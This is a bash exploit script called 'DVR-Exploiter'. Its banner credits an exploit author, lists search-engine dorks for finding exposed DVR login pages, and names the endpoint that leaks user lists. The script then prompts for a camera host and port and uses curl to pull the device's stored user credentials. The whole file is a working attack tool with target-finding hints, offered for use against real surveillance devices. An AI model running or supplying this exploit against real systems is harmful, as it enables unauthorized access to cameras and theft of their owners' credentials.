#!/bin/bash
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
Cyan="\033[0;36m"
Cafe="\033[0;33m"
Fiuscha="\033[0;35m"
blue="\033[1;34m"
nc="\e[0m"
#STARTUP
echo ""
echo -e "$Cafe--------------------------------------------------------$nc"
echo -e "$green Exploit Title$nc	 :   $red DVR Credentials Exposed$nc	       $Cafe|$nc"
echo -e "$green Date$nc		 :   $red 09/04/2018$nc	       $Cafe	       |$nc"
echo -e "$green Exploit Author$nc	 :   $red Fernandez Ezequiel	       $Cafe|$nc"
echo -e "$green DVR-Exploiter By$nc:   $red Belahsan Ouerghi$nc	               $Cafe|$nc"
echo -e "$green Contact 	 $nc: $red   www.facebook.com/ouerghi.belahsan$Cafe|$nc"
echo -e "$Cafe-------------------------------------------------------|$nc"
echo -e "$green Dorks$nc :					       $Cafe|$nc"
echo -e "		    $purple   intitle:'DVR Login'$nc	       $Cafe|$nc"
echo -e "		    $purple   html:'/login.rsp'$nc               $Cafe|$nc"
echo -e "		    $purple   'Server: GNU rsp/1.1'$nc           $Cafe|$nc"
echo -e "$Cafe-------------------------------------------------------|$nc"	
echo -e "$green Exploit$nc: 					       $Cafe|$nc"
echo -e "		       $purple/device.rsp?opt=user&cmd=list$nc   $Cafe|$nc"
echo -e "$Cafe--------------------------------------------------------$nc"
echo -e "$blue"
read -p "Host Looks Like :
		1/ 127.0.0.1
		2/ belahsan.com
		[1/2] : " host
echo -e "$nc"
if [ $host == "1" ]; then
echo -e "$blue"
read -p "Enter Camera Host : " ip
read -p "Enter Camera Port : " port
echo -e "$nc"
echo -e "$green"
curl "http://$ip:$port/device.rsp?opt=user&cmd=list"
echo ""
echo -e "$nc"
elif [ $host == "2" ]; then
echo -e "$blue"
read -p "Enter Camera Host : " ip2
echo -e "$nc"
echo -e "$green"
curl "http://$ip2/device.rsp?opt=user&cmd=list"
echo ""
echo -e "$nc"
else
echo "404 Not Found"
fi
